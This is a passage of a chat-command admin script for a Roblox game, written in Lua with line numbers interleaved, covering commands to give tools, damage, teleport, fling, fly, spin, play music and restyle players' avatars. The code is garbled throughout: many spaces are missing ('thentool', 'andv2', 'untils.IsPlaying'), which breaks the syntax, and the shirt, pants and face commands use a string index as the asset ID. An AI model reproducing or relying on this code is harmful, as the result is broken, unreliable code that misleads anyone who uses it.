1112
for a, tool in pairs(game.Lighting:children()) do
1113
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1114
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 thentool:Clone().Parent = v.Backpack end
1115
end
1116
end
1117
end
1118
end))
1119
end
1120
end
1121
 
1122
if msg:lower():sub(1,12) == "removetools " then
1123
local plrz = GetPlr(plr, msg:lower():sub(13))
1124
for i, v in pairs(plrz) do
1125
coroutine.resume(coroutine.create(function()
1126
if v and v.Character and v:findFirstChild("Backpack") then
1127
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy()end end
1128
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy()end end
1129
end
1130
end))
1131
end
1132
end
1133
 
1134
if msg:lower():sub(1,5) == "rank " then
1135
local chk1 = msg:lower():sub(6):find(" ") + 5
1136
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1137
for i, v in pairs(plrz) do
1138
coroutine.resume(coroutine.create(function()
1139
if v and v:IsInGroup(msg:sub(chk1+1)) then
1140
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1141
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1142
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1143
end
1144
end))
1145
end
1146
end
1147
 
1148
if msg:lower():sub(1,7) == "damage " then
1149
local chk1 = msg:lower():sub(8):find(" ") + 7
1150
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1151
for i, v in pairs(plrz) do
1152
coroutine.resume(coroutine.create(function()
1153
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1154
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1155
end
1156
end))
1157
end
1158
end
1159
 
1160
if msg:lower():sub(1,5) == "grav " then
1161
local plrz = GetPlr(plr, msg:lower():sub(6))
1162
for i, v in pairs(plrz) do
1163
coroutine.resume(coroutine.create(function()
1164
if v and v.Character and v.Character:findFirstChild("Torso") then
1165
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1166
end
1167
end))
1168
end
1169
end
1170
 
1171
if msg:lower():sub(1,8) == "setgrav " then
1172
local chk1 = msg:lower():sub(9):find(" ") + 8
1173
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1174
for i, v in pairs(plrz) do
1175
coroutine.resume(coroutine.create(function()
1176
if v and v.Character and v.Character:findFirstChild("Torso") then
1177
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1178
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1179
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force -Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force -Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1180
end
1181
end))
1182
end
1183
end
1184
 
1185
if msg:lower():sub(1,7) == "nograv " then
1186
local plrz = GetPlr(plr, msg:lower():sub(8))
1187
for i, v in pairs(plrz) do
1188
coroutine.resume(coroutine.create(function()
1189
if v and v.Character and v.Character:findFirstChild("Torso") then
1190
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1191
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1192
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force +Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force +Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1193
end
1194
end))
1195
end
1196
end
1197
 
1198
if msg:lower():sub(1,7) == "health " then
1199
local chk1 = msg:lower():sub(8):find(" ") + 7
1200
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1201
for i, v in pairs(plrz) do
1202
coroutine.resume(coroutine.create(function()
1203
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1204
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1205
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1206
end
1207
end))
1208
end
1209
end
1210
 
1211
if msg:lower():sub(1,6) == "speed " then
1212
local chk1 = msg:lower():sub(7):find(" ") + 6
1213
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1214
for i, v in pairs(plrz) do
1215
coroutine.resume(coroutine.create(function()
1216
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1217
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1218
end
1219
end))
1220
end
1221
end
1222
 
1223
if msg:lower():sub(1,5) == "team " then
1224
local chk1 = msg:lower():sub(6):find(" ") + 5
1225
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1226
for i, v in pairs(plrz) do
1227
coroutine.resume(coroutine.create(function()
1228
if v and game:findFirstChild("Teams") then
1229
for a, tm in pairs(game.Teams:children()) do
1230
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1231
end
1232
end
1233
end))
1234
end
1235
end
1236
 
1237
if msg:lower():sub(1,6) == "place " then
1238
local chk1 = msg:lower():sub(7):find(" ") + 6
1239
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1240
for i, v in pairs(plrz) do
1241
coroutine.resume(coroutine.create(function()
1242
if v and v:findFirstChild("PlayerGui") then
1243
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] ..msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1244
end
1245
end))
1246
end
1247
end
1248
 
1249
if msg:lower():sub(1,3) == "tp " then
1250
local chk1 = msg:lower():sub(4):find(" ") + 3
1251
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1252
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1253
for i, v in pairs(plrz) do
1254
coroutine.resume(coroutine.create(function()
1255
for i2, v2 in pairs(plrz2) do
1256
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") andv2.Character:findFirstChild("Torso") then
1257
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1258
end
1259
end
1260
end))
1261
end
1262
end
1263
 
1264
if msg:lower():sub(1,7) == "change " then
1265
local chk1 = msg:lower():sub(8):find(" ") + 7
1266
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1267
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1268
for i, v in pairs(plrz) do
1269
coroutine.resume(coroutine.create(function()
1270
if v and v:findFirstChild("leaderstats") then
1271
for a, st in pairs(v.leaderstats:children()) do
1272
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1273
end
1274
end
1275
end))
1276
end
1277
end
1278
 
1279
if msg:lower():sub(1,6) == "shirt " then
1280
local chk1 = msg:lower():sub(7):find(" ") + 6
1281
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1282
for i, v in pairs(plrz) do
1283
coroutine.resume(coroutine.create(function()
1284
if v and v.Character then
1285
for i,v in pairs(v.Character:children()) do
1286
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1287
end
1288
end
1289
end))
1290
end
1291
end
1292
 
1293
if msg:lower():sub(1,6) == "pants " then
1294
local chk1 = msg:lower():sub(7):find(" ") + 6
1295
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1296
for i, v in pairs(plrz) do
1297
coroutine.resume(coroutine.create(function()
1298
if v and v.Character then
1299
for i,v in pairs(v.Character:children()) do
1300
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1301
end
1302
end
1303
end))
1304
end
1305
end
1306
 
1307
if msg:lower():sub(1,5) == "face " then
1308
local chk1 = msg:lower():sub(6):find(" ") + 5
1309
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1310
for i, v in pairs(plrz) do
1311
coroutine.resume(coroutine.create(function()
1312
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
1313
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1314
end
1315
end))
1316
end
1317
end
1318
 
1319
------------------
1320
-- Fun Commands --
1321
------------------
1322
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1323
       
1324
if msg:lower():sub(1,8) == "swagify " then
1325
local plrz = GetPlr(plr, msg:lower():sub(9))
1326
for i, v in pairs(plrz) do
1327
coroutine.resume(coroutine.create(function()
1328
if v and v.Character then
1329
for i,v in pairs(v.Character:children()) do
1330
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate ="http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1331
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate ="http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1332
end
1333
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1334
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1335
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1336
local torso = plr.Character.Torso
1337
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1338
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1339
p.Size = Vector3.new(.2,.2,.2)
1340
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1341
local motor1 = Instance.new("Motor", p)
1342
motor1.Part0 = p
1343
motor1.Part1 = torso
1344
motor1.MaxVelocity = .01
1345
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1346
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1347
local wave = false
1348
repeat wait(1/44)
1349
local ang = 0.1
1350
local oldmag = torso.Velocity.magnitude
1351
local mv = .002
1352
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1353
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1354
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1355
motor1.DesiredAngle = -ang
1356
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1357
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1358
if torso.Velocity.magnitude < .1 then wait(.1) end
1359
until not p or p.Parent ~= torso.Parent
1360
script:Destroy()
1361
]] cl.Parent = v.PlayerGui cl.Disabled = false
1362
end
1363
end))
1364
end
1365
end
1366
 
1367
if msg:lower():sub(1,6) == "music " then
1368
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1369
local id = msg:sub(7)
1370
local pitch = 1
1371
if tostring(id):lower():find("caramell") then id = 2303479 end
1372
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1373
if tostring(id):find("rick") then id = 2027611 end
1374
if tostring(id):find("halo") then id = 1034065  end
1375
if tostring(id):find("pokemon") then id = 1372261 end
1376
if tostring(id):find("cursed") then id = 1372257 end
1377
if tostring(id):find("extreme") then id = 11420933 end
1378
if tostring(id):find("awaken") then id = 27697277 end
1379
if tostring(id):find("alone") then id = 27697392 end
1380
if tostring(id):find("mario") then id = 1280470 end
1381
if tostring(id):find("choir") then id = 1372258 end
1382
if tostring(id):find("chrono") then id = 1280463 end
1383
if tostring(id):find("dotr") then id = 11420922 end
1384
if tostring(id):find("entertain") then id = 27697267 end
1385
if tostring(id):find("fantasy") then id = 1280473 end
1386
if tostring(id):find("final") then id = 1280414 end
1387
if tostring(id):find("emblem") then id = 1372259 end
1388
if tostring(id):find("flight") then id = 27697719 end
1389
if tostring(id):find("banjo") then id = 27697298 end
1390
if tostring(id):find("gothic") then id = 27697743 end
1391
if tostring(id):find("hiphop") then id = 27697735 end
1392
if tostring(id):find("intro") then id = 27697707 end
1393
if tostring(id):find("mule") then id = 1077604 end
1394
if tostring(id):find("film") then id = 27697713 end
1395
if tostring(id):find("nezz") then id = 8610025 end
1396
if tostring(id):find("angel") then id = 1372260 end
1397
if tostring(id):find("resist") then id = 27697234 end
1398
if tostring(id):find("schala") then id = 5985787 end
1399
if tostring(id):find("organ") then id = 11231513 end
1400
if tostring(id):find("tunnel") then id = 9650822 end
1401
if tostring(id):find("spanish") then id = 5982975 end
1402
if tostring(id):find("venom") then id = 1372262 end
1403
if tostring(id):find("wind") then id = 1015394 end
1404
if tostring(id):find("guitar") then id = 5986151 end
1405
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() untils.IsPlaying
1406
end
1407
 
1408
if msg:lower() == "stopmusic" then
1409
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1410
end
1411
 
1412
if msg:lower() == "musiclist" then
1413
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1414
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1415
local list ={"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1416
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position =UDim2.new(0,0,0,num*20) num = num +1 end
1417
end
1418
 
1419
if msg:lower():sub(1,4) == "fly " then
1420
local plrz = GetPlr(plr, msg:lower():sub(5))
1421
for i, v in pairs(plrz) do
1422
coroutine.resume(coroutine.create(function()
1423
if v and v:findFirstChild("PlayerGui") then
1424
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1425
cl.Parent = v.PlayerGui cl.Disabled = false
1426
end
1427
end))
1428
end
1429
end
1430
 
1431
if msg:lower():sub(1,6) == "unfly " then
1432
local plrz = GetPlr(plr, msg:lower():sub(7))
1433
for i, v in pairs(plrz) do
1434
coroutine.resume(coroutine.create(function()
1435
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") andv.Character:findFirstChild("Humanoid") then
1436
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1437
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" thenq:Destroy() end end
1438
wait(.1) v.Character.Humanoid.PlatformStand = false
1439
end
1440
end))
1441
end
1442
end
1443
 
1444
if msg:lower() == "disco" then
1445
for i, v in pairs(lobjs) do v:Destroy() end
1446
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1447
game.Lighting.Ambient = color
1448
game.Lighting.FogColor = color
1449
until nil]]
1450
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1451
end
1452
 
1453
if msg:lower() == "flash" then
1454
for i, v in pairs(lobjs) do v:Destroy() end
1455
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
1456
game.Lighting.Ambient = Color3.new(1,1,1)
1457
game.Lighting.FogColor = Color3.new(1,1,1)
1458
game.Lighting.Brightness = 1
1459
game.Lighting.TimeOfDay = 14
1460
wait(.1)
1461
game.Lighting.Ambient = Color3.new(0,0,0)
1462
game.Lighting.FogColor = Color3.new(0,0,0)
1463
game.Lighting.Brightness = 0
1464
game.Lighting.TimeOfDay = 0
1465
until nil]]
1466
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1467
end
1468
 
1469
if msg:lower():sub(1,5) == "spin " then
1470
local plrz = GetPlr(plr, msg:lower():sub(6))
1471
for i, v in pairs(plrz) do
1472
coroutine.resume(coroutine.create(function()
1473
if v and v.Character and v.Character:findFirstChild("Torso") then
1474
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1475
local torso = v.Character:findFirstChild("Torso")
1476
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P =11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1477
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1478
until not bg or bg.Parent ~= torso
1479
end
1480
end))
1481
end
1482
end
1483
 
1484
if msg:lower():sub(1,7) == "unspin " then
1485
local plrz = GetPlr(plr, msg:lower():sub(8))
1486
for i, v in pairs(plrz) do
1487
coroutine.resume(coroutine.create(function()
1488
if v and v.Character and v.Character:findFirstChild("Torso") then
1489
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1490
end
1491
end))
1492
end
1493
end
1494
 
1495
if msg:lower():sub(1,4) == "dog " then
1496
local plrz = GetPlr(plr, msg:lower():sub(5))
1497
for i, v in pairs(plrz) do
1498
coroutine.resume(coroutine.create(function()
1499
if v and v.Character and v.Character:findFirstChild("Torso") then
1500
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1501
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1502
v.Character.Torso.Transparency = 1
1503
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1504
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1505
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1506
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1507
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1508
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface =0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1509
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1510
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 =CFrame.new(0,-.5,0)
1511
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown")end end
1512
end
1513
end))
1514
end
1515
end
1516
 
1517
if msg:lower():sub(1,6) == "undog " then
1518
local plrz = GetPlr(plr, msg:lower():sub(7))
1519
for i, v in pairs(plrz) do
1520
coroutine.resume(coroutine.create(function()
1521
if v and v.Character and v.Character:findFirstChild("Torso") then
1522
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1523
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1524
v.Character.Torso.Transparency = 0
1525
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1526
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1527
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1528
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1529
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1530
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag")then part.Head.BrickColor = BrickColor.new("White") end end
1531
end
1532
end))
1533
end
1534
end
1535
 
1536
if msg:lower():sub(1,8) == "creeper " then
1537
local plrz = GetPlr(plr, msg:lower():sub(9))
1538
for i, v in pairs(plrz) do
1539
coroutine.resume(coroutine.create(function()
1540
if v and v.Character and v.Character:findFirstChild("Torso") then
1541
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1542
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1543
v.Character.Torso.Transparency = 0
1544
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1545
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1546
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1547
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1548
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1549
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseifpart:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1550
end
1551
end))
1552
end
1553
end
1554
 
1555
if msg:lower():sub(1,10) == "uncreeper " then
1556
local plrz = GetPlr(plr, msg:lower():sub(11))
1557
for i, v in pairs(plrz) do
1558
coroutine.resume(coroutine.create(function()
1559
if v and v.Character and v.Character:findFirstChild("Torso") then
1560
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1561
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1562
v.Character.Torso.Transparency = 0
1563
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1564
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1565
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1566
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1567
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1568
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag")then part.Head.BrickColor = BrickColor.new("White") end end
1569
end
1570
end))
1571
end
1572
end
1573
 
1574
if msg:lower():sub(1,8) == "bighead " then
1575
local plrz = GetPlr(plr, msg:lower():sub(9))
1576
for i, v in pairs(plrz) do
1577
coroutine.resume(coroutine.create(function()
1578
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 =CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1579
end))
1580
end
1581
end
1582
 
1583
if msg:lower():sub(1,9) == "minihead " then
1584
local plrz = GetPlr(plr, msg:lower():sub(10))
1585
for i, v in pairs(plrz) do
1586
coroutine.resume(coroutine.create(function()
1587
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 =CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1588
end))
1589
end
1590
end
1591
 
1592
if msg:lower():sub(1,6) == "fling " then
1593
local plrz = GetPlr(plr, msg:lower():sub(7))
1594
for i, v in pairs(plrz) do
1595
coroutine.resume(coroutine.create(function()
1596
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1597
local xran local zran
1598
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1599
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1600
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1601
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force =Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1602
end
1603
end))
1604
end
1605
end
1606
 
1607
if msg:lower():sub(1,8) == "seizure " then
1608
local plrz = GetPlr(plr, msg:lower():sub(9))
1609
for i, v in pairs(plrz) do
1610
coroutine.resume(coroutine.create(function()
1611
if v and v.Character then
1612
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
1613
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1614
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1615
end
1616
end))
1617
end
1618
end
1619
 
1620
if msg:lower():sub(1,10) == "unseizure " then
1621
local plrz = GetPlr(plr, msg:lower():sub(11))
1622
for i, v in pairs(plrz) do
1623
coroutine.resume(coroutine.create(function()
1624
if v and v.Character then
1625
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1626
wait(.1) v.Character.Humanoid.PlatformStand = false
1627
end
1628
end))
1629
end
1630
end
1631
 
1632
if msg:lower():sub(1,12) == "removelimbs " then
1633
local plrz = GetPlr(plr, msg:lower():sub(13))
1634
for i, v in pairs(plrz) do
1635
coroutine.resume(coroutine.create(function()
